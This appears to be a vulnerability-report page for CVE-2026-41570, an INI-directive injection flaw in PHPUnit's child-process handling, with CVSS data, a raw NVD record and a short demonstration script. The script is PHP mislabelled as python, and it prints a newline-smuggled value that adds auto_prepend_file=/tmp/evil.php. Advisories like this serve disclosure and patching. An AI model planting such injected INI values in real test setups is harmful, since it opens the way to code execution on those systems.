Security Vulnerability Report
中文
CVE-2026-41570 CVSS 7.8 HIGH

CVE-2026-41570

Published: 2026-05-08 15:16:40
Last Modified: 2026-05-08 19:45:26

Description

PHPUnit is a testing framework for PHP. In versions 12.5.21 and 13.1.5, PHPUnit forwards PHP INI settings to child processes (used for isolated/PHPT test execution) as -d name=value command-line arguments without neutralizing INI metacharacters. Because PHP's INI parser interprets " as a string delimiter, ; as the start of a comment, and most importantly a newline as a directive separator, a value containing a newline is parsed by the child process as multiple INI directives. An attacker able to influence a single INI value can therefore inject arbitrary additional directives into the child's configuration, including auto_prepend_file, extension, disable_functions, open_basedir, and others. Setting auto_prepend_file to an attacker-controlled path yields remote code execution in the child process. This issue has been patched in versions 12.5.22 and 13.1.6.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:phpunit_project:phpunit:12.5.21:*:*:*:*:-:*:* - VULNERABLE
cpe:2.3:a:phpunit_project:phpunit:13.1.5:*:*:*:*:-:*:* - VULNERABLE
PHPUnit 12.5.21及之前版本
PHPUnit 13.1.5及之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // PoC for CVE-2026-41570 // This demonstrates how an attacker controlling an INI value can inject a newline // to add a malicious directive (e.g., auto_prepend_file). // Assume the attacker can control the value of an INI setting passed to PHPUnit. // The payload below injects a newline character to break the directive and add a new one. $malicious_payload = "original_value\nauto_prepend_file=/tmp/evil.php"; // In a real vulnerable scenario, this might be passed via environment variables or php.xml. // When PHPUnit spawns the child process with -d custom_option="$malicious_payload", // the child PHP process interprets it as: // 1. custom_option = "original_value" // 2. auto_prepend_file = "/tmp/evil.php" // The file /tmp/evil.php would contain the attacker's PHP code (e.g., shell_exec). echo "Payload: " . $malicious_payload . "\n"; echo "Resulting INI directives in child process:\n"; echo "custom_option=original_value\nauto_prepend_file=/tmp/evil.php\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41570", "sourceIdentifier": "[email protected]", "published": "2026-05-08T15:16:40.420", "lastModified": "2026-05-08T19:45:25.910", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPUnit is a testing framework for PHP. In versions 12.5.21 and 13.1.5, PHPUnit forwards PHP INI settings to child processes (used for isolated/PHPT test execution) as -d name=value command-line arguments without neutralizing INI metacharacters. Because PHP's INI parser interprets \" as a string delimiter, ; as the start of a comment, and most importantly a newline as a directive separator, a value containing a newline is parsed by the child process as multiple INI directives. An attacker able to influence a single INI value can therefore inject arbitrary additional directives into the child's configuration, including auto_prepend_file, extension, disable_functions, open_basedir, and others. Setting auto_prepend_file to an attacker-controlled path yields remote code execution in the child process. This issue has been patched in versions 12.5.22 and 13.1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-88"}, {"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpunit_project:phpunit:12.5.21:*:*:*:*:-:*:*", "matchCriteriaId": "14399E6E-3DD0-4CD6-8D89-8C5A99034AE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:phpunit_project:phpunit:13.1.5:*:*:*:*:-:*:*", "matchCriteriaId": "7948E33A-A79E-405B-AE5A-3CB710478DB9"}]}]}], "references": [{"url": "https://github.com/sebastianbergmann/phpunit/pull/6592", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/sebastianbergmann/phpunit/security/advisories/GHSA-qrr6-mg7r-m243", "source": "[email protected]", "tags": ["Mitigation", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/sebastianbergmann/phpunit/pull/6592", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Issue Tracking", "Patch"]}]}}